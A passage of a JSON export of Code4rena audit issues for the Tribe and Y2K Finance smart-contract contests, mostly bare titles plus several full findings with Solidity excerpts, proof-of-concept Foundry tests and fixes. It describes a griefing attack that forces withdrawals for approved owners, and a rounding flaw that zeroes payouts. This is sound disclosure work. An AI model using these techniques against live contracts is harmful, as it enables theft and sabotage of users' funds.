"2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "missing hasNotSigned modifier", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/27", "labels": ["bug", "duplicate", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed", "old-submission-method"], "target": "2022-09-tribe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-tribe/blob/769b0586b4975270b669d7d1581aa5672d6999d5/contracts/shutdown/fuse/RariMerkleRedeemer.sol#L88 # Vulnerability details ## Impact signing more than once ## Proof of Concept Other sign functions has hasSigned modifier ## Tools Used ## Recommended Mitigation Steps function signAndClaim( bytes calldata signature, address[] calldata cTokens, uint256[] calldata amounts, bytes32[][] calldata merkleProofs ) external override **hasSigned** nonReentrant "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-tribe-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-09-tribe-findings/issues/1", "labels": [], "target": "2022-09-tribe-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/507", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/502", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/500", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/497", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/492", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/489", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/488", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/486", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "`timewindow` can be changed unexpectedly that blocks users from calling `deposit` function", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/483", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "`timewindow` can be changed unexpectedly that blocks users from calling `deposit` function"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/478", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/474", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/472", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/470", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/468", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/466", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/463", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/454", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/452", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/451", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "User fund lost because they can't withdraw() their funds before epoch startTime and they have to stuck in positions that become unprofitable even when epoch is not started", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/447", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "User fund lost because they can't withdraw() their funds before epoch startTime and they have to stuck in positions that become unprofitable even when epoch is not started"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/443", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/442", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/437", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/436", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/435", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Griefing attack on the Vaults is possible, withdrawing the winning side stakes", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/434", "labels": ["bug", "3 (High Risk)", "high quality report", "sponsor confirmed", "old-submission-method", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/SemiFungibleVault.sol#L110-L119 https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203-L218 # Vulnerability details *Anyone* can withdraw to `receiver` once the `receiver` is `isApprovedForAll(owner, receiver)`. The funds will be sent to `receiver`, but it will happen whenever an arbitrary `msg.sender` wants. The only precondition is the presence of any approvals. This can be easily used to sabotage the system as a whole. Say there are two depositors in the hedge Vault, Bob and David, both trust each other and approved each other. Mike the attacker observing the coming end of epoch where no depeg happened, calls the withdraw() for both Bob and David in the last block of the epoch. Mike gained nothing, while both Bob and David lost the payoff that was guaranteed for them at this point. Setting the severity to be high as this can be routinely used to sabotage the y2k users, both risk and hedge, depriving them from the payouts whenever they happen to be on the winning side. Usual attackers here can be the users from the another side, risk users attacking hedge vault, and vice versa. ## Proof of Concept isApprovedForAll() in withdrawal functions checks the `receiver` to be approved, not the caller. SemiFungibleVault's withdraw: https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/SemiFungibleVault.sol#L110-L119 ```solidity function withdraw( uint256 id, uint256 assets, address receiver, address owner ) external virtual returns (uint256 shares) { require( msg.sender == owner || isApprovedForAll(owner, receiver), \"Only owner can withdraw, or owner has approved receiver for all\" ); ``` Vault's withdraw: https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203-L218 ```solidity function withdraw( uint256 id, uint256 assets, address receiver, address owner ) external override epochHasEnded(id) marketExists(id) returns (uint256 shares) { if( msg.sender != owner && isApprovedForAll(owner, receiver) == false) revert OwnerDidNotAuthorize(msg.sender, owner); ``` This way anyone at any time can run withdraw from the Vaults whenever owner has some address approved. ## Recommended Mitigation Steps Consider changing the approval requirement to be for the caller, not receiver: SemiFungibleVault's withdraw: https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/SemiFungibleVault.sol#L110-L119 ```solidity function withdraw( uint256 id, uint256 assets, address receiver, address owner ) external virtual returns (uint256 shares) { require( - msg.sender == owner || isApprovedForAll(owner, receiver), + msg.sender == owner || isApprovedForAll(owner, msg.sender), \"Only owner can withdraw, or owner has approved receiver for all\" ); ``` Vault's withdraw: https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203-L218 ```solidity function withdraw( uint256 id, uint256 assets, address receiver, address owner ) external override epochHasEnded(id) marketExists(id) returns (uint256 shares) { if( msg.sender != owner && - isApprovedForAll(owner, receiver) == false) + isApprovedForAll(owner, msg.sender) == false) revert OwnerDidNotAuthorize(msg.sender, owner); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/429", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/428", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/426", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Data returned by Oracles don't correctly represent their underlying meanings", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/425", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Data returned by Oracles don't correctly represent their underlying meanings"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/418", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/417", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/415", "labels": ["bug", "QA (Quality Assurance)", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "`ethValue` should be reasonable to avoid overflow in FuzzTest", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/412", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "`ethValue` should be reasonable to avoid overflow in FuzzTest"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/407", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/406", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/397", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/395", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/392", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/390", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/388", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "High centralisation risk in the protocol", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/381", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-y2k-finance-findings", "body": "High centralisation risk in the protocol"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/380", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "It is possible that receiver and treasury can receive nothing when calling `withdraw` function due to division being performed before multiplication", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/378", "labels": ["bug", "2 (Med Risk)", "high quality report", "resolved", "sponsor confirmed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Vault.sol#L378-L426 https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Vault.sol#L203-L234 # Vulnerability details ## Impact In the following `beforeWithdraw` function, `entitledAmount = amount.divWadDown(idFinalTVL[id]).mulDivDown(idClaimTVL[id], 1 ether)` can be executed in several places. Because it uses division before multiplication, it is possible that `entitledAmount` is calculated to be 0. As the `withdraw` function shows below, when `entitledAmount` is 0, the receiver and treasury both receive 0. As a result, calling `withdraw` with a positive `assets` input can still result in transferring nothing to the receiver and treasury. https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Vault.sol#L378-L426 ```solidity function beforeWithdraw(uint256 id, uint256 amount) public view returns (uint256 entitledAmount) { // in case the risk wins aka no depeg event // risk users can withdraw the hedge (that is paid by the hedge buyers) and risk; withdraw = (risk + hedge) // hedge pay for each hedge seller = ( risk / tvl before the hedge payouts ) * tvl in hedge pool // in case there is a depeg event, the risk users can only withdraw the hedge if ( keccak256(abi.encodePacked(symbol)) == keccak256(abi.encodePacked(\"rY2K\")) ) { if (!idDepegged[id]) { //depeg event did not happen /* entitledAmount = (amount / idFinalTVL[id]) * idClaimTVL[id] + amount; */ entitledAmount = amount.divWadDown(idFinalTVL[id]).mulDivDown( idClaimTVL[id], 1 ether ) + amount; } else { //depeg event did happen entitledAmount = amount.divWadDown(idFinalTVL[id]).mulDivDown( idClaimTVL[id], 1 ether ); } } // in case the hedge wins aka depegging // hedge users pay the hedge to risk users anyway, // hedge guy can withdraw risk (that is transfered from the risk pool), // withdraw = % tvl that hedge buyer owns // otherwise hedge users cannot withdraw any Eth else { entitledAmount = amount.divWadDown(idFinalTVL[id]).mulDivDown( idClaimTVL[id], 1 ether ); } return entitledAmount; } ``` https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Vault.sol#L203-L234 ```solidity function withdraw( uint256 id, uint256 assets, address receiver, address owner ) external override epochHasEnded(id) marketExists(id) returns (uint256 shares) { if( msg.sender != owner && isApprovedForAll(owner, receiver) == false) revert OwnerDidNotAuthorize(msg.sender, owner); shares = previewWithdraw(id, assets); // No need to check for rounding error, previewWithdraw rounds up. uint256 entitledShares = beforeWithdraw(id, shares); _burn(owner, id, shares); //Taking fee from the amount uint256 feeValue = calculateWithdrawalFeeValue(entitledShares, id); entitledShares = entitledShares - feeValue; asset.transfer(treasury, feeValue); emit Withdraw(msg.sender, receiver, owner, id, assets, entitledShares); asset.transfer(receiver, entitledShares); return entitledShares; } ``` ## Proof of Concept Please append the following test in `test\\AssertTest.t.sol`. This test will pass to demonstrate the described scenario. ```solidity function testReceiveZeroDueToDivBeingPerformedBeforeMul() public { vm.deal(alice, 1e24); vm.deal(chad, 1e24); vm.startPrank(admin); FakeOracle fakeOracle = new FakeOracle(oracleFRAX, STRIKE_PRICE_FAKE_ORACLE); vaultFactory.createNewMarket(FEE, tokenFRAX, DEPEG_AAA, beginEpoch, endEpoch, address(fakeOracle), \"y2kFRAX_99*\"); vm.stopPrank(); address hedge = vaultFactory.getVaults(1)[0]; address risk = vaultFactory.getVaults(1)[1]; Vault vHedge = Vault(hedge); Vault vRisk = Vault(risk); // alice deposits 1e24 in hedge vault vm.startPrank(alice); ERC20(WETH).approve(hedge, 1e24); vHedge.depositETH{value: 1e24}(endEpoch, alice); vm.stopPrank(); // chad deposits 1e24 in risk vault vm.startPrank(chad); ERC20(WETH).approve(risk, 1e24); vRisk.depositETH{value: 1e24}(endEpoch, chad); vm.stopPrank(); vm.warp(beginEpoch + 10 days); // depeg occurs controller.triggerDepeg(SINGLE_MARKET_INDEX, endEpoch); vm.startPrank(chad); // chad withdraws 1e5 from risk vault vRisk.withdraw(endEpoch, 1e5, chad, chad); // the amount to chad is 0 because division is performed before multiplication uint256 entitledShares = vRisk.beforeWithdraw(endEpoch, 1e5); // chad receives nothing assertEq(entitledShares, 0); assertEq(ERC20(WETH).balanceOf(chad), 0); // the amount to chad would be positive when multiplication is performed before division uint256 entitledShares2 = (1e5 * vRisk.idClaimTVL(endEpoch)) / vRisk.idFinalTVL(endEpoch); assertTrue(entitledShares2 > entitledShares); vm.stopPrank(); } ``` ## Tools Used VSCode ## Recommended Mitigation Steps `entitledAmount = amount.divWadDown(idFinalTVL[id]).mulDivDown(idClaimTVL[id], 1 ether)` in the `beforeWithdraw` function can be updated to the following code. ```solidity entitledAmount = (amount * idClaimTVL[id]) / idFinalTVL[id] ```"}, {"title": "Unbounded Loop can lead to DOS due to epochs array.", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/372", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "Unbounded Loop can lead to DOS due to epochs array."}, {"title": "Vault.sol#L152 : null address verification for \"receiver\" is missed in \"function deposit\"", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/369", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "Vault.sol#L152 : null address verification for \"receiver\" is missed in \"function deposit\""}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/368", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/361", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/356", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/355", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/354", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/347", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/345", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/342", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/340", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/338", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "`tvl` used in the emitted `DepegInsurance` `event` is created incorrectly when calling `triggerEndEpoch`", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/336", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L198-L248 https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L59-L64 # Vulnerability details ## Impact When calling the following `triggerEndEpoch` function, `tvl`, which is a `VaultTVL` type, is created as a part of the emitted `DepegInsurance` `event` after `idClaimTVL` and `idFinalTVL` are already updated for both the hedge and risk vaults. However, comparing to the fields of the `VaultTVL` `struct` definition below, `insrVault.idClaimTVL(epochEnd)` is incorrectly used as `RISK_finalTVL` and `riskVault.idFinalTVL(epochEnd)` is incorrectly used as `INSR_claimTVL` because `insrVault.setClaimTVL(epochEnd, 0)` has been executed, which does not occur when calling the `triggerDepeg` function. Because of the incorrect `tvl` used in the emitted `DepegInsurance` `event`, the frontend can display misleading information that confuse users, and debugging with incorrect data will be hard for developers. https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L198-L248 ```solidity function triggerEndEpoch(uint256 marketIndex, uint256 epochEnd) public { if( vaultFactory.getVaults(marketIndex).length != VAULTS_LENGTH) revert MarketDoesNotExist(marketIndex); if( block.timestamp < epochEnd) revert EpochNotExpired(); address[] memory vaultsAddress = vaultFactory.getVaults(marketIndex); Vault insrVault = Vault(vaultsAddress[0]); Vault riskVault = Vault(vaultsAddress[1]); if(insrVault.idExists(epochEnd) == false || riskVault.idExists(epochEnd) == false) revert EpochNotExist(); //require this function cannot be called twice in the same epoch for the same vault if(insrVault.idFinalTVL(epochEnd) != 0) revert NotZeroTVL(); if(riskVault.idFinalTVL(epochEnd) != 0) revert NotZeroTVL(); insrVault.endEpoch(epochEnd, false); riskVault.endEpoch(epochEnd, false); insrVault.setClaimTVL(epochEnd, 0); riskVault.setClaimTVL(epochEnd, insrVault.idFinalTVL(epochEnd)); insrVault.sendTokens(epochEnd, address(riskVault)); VaultTVL memory tvl = VaultTVL( riskVault.idClaimTVL(epochEnd), insrVault.idClaimTVL(epochEnd), riskVault.idFinalTVL(epochEnd), insrVault.idFinalTVL(epochEnd) ); emit DepegInsurance( keccak256( abi.encodePacked( marketIndex, insrVault.idEpochBegin(epochEnd), epochEnd ) ), tvl, false, epochEnd, block.timestamp, getLatestPrice(insrVault.tokenInsured()) ); } ``` https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L59-L64 ```solidity struct VaultTVL { uint256 RISK_claimTVL; uint256 RISK_finalTVL; uint256 INSR_claimTVL; uint256 INSR_finalTVL; } ``` ## Proof of Concept Please append the following test in `test\\AssertTest.t.sol`. This test will pass to demonstrate the described scenario. ```solidity function testCallingtriggerEndEpochCreatesIncorrectVaultTVL() public{ testDeposit(); address hedge = vaultFactory.getVaults(1)[0]; address risk = vaultFactory.getVaults(1)[1]; Vault vHedge = Vault(hedge); Vault vRisk = Vault(risk); vm.warp(endEpoch + 1 days); controller.triggerEndEpoch(SINGLE_MARKET_INDEX, endEpoch); /* VaultTVL struct has the following structure struct VaultTVL { uint256 RISK_claimTVL; uint256 RISK_finalTVL; uint256 INSR_claimTVL; uint256 INSR_finalTVL; } */ /* in controller.triggerEndEpoch, VaultTVL is created as follows after idClaimTVL and idFinalTVL for both vaults are already updated VaultTVL memory tvl = VaultTVL( riskVault.idClaimTVL(epochEnd), insrVault.idClaimTVL(epochEnd), riskVault.idFinalTVL(epochEnd), insrVault.idFinalTVL(epochEnd) ); */ // insrVault.idClaimTVL(epochEnd), which is vHedge.idClaimTVL(endEpoch), does not correspond to RISK_finalTVL, which should be vRisk.idFinalTVL(endEpoch) assertTrue(vRisk.idFinalTVL(endEpoch) != vHedge.idClaimTVL(endEpoch)); // riskVault.idFinalTVL(epochEnd), which is vRisk.idFinalTVL(endEpoch), does not correspond to INSR_claimTVL, which should be vHedge.idClaimTVL(endEpoch) assertTrue(vHedge.idClaimTVL(endEpoch) != vRisk.idFinalTVL(endEpoch)); } ``` ## Tools Used VSCode ## Recommended Mitigation Steps https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L227-L232 can be updated to the following code. ```solidity VaultTVL memory tvl = VaultTVL( riskVault.idClaimTVL(epochEnd), riskVault.idFinalTVL(epochEnd), insrVault.idClaimTVL(epochEnd), insrVault.idFinalTVL(epochEnd) ); ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/333", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/327", "labels": ["bug", "G (Gas Optimization)", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "LOSS OF PRECISION RESULTING IN WRONG VALUE FOR PRICE RATIO", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/323", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "LOSS OF PRECISION RESULTING IN WRONG VALUE FOR PRICE RATIO"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/321", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/318", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Users who deposit in one vault can lose all deposits and receive nothing when counterparty vault has no deposits", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/312", "labels": ["bug", "3 (High Risk)", "edited-by-warden", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "Users who deposit in one vault can lose all deposits and receive nothing when counterparty vault has no deposits"}, {"title": 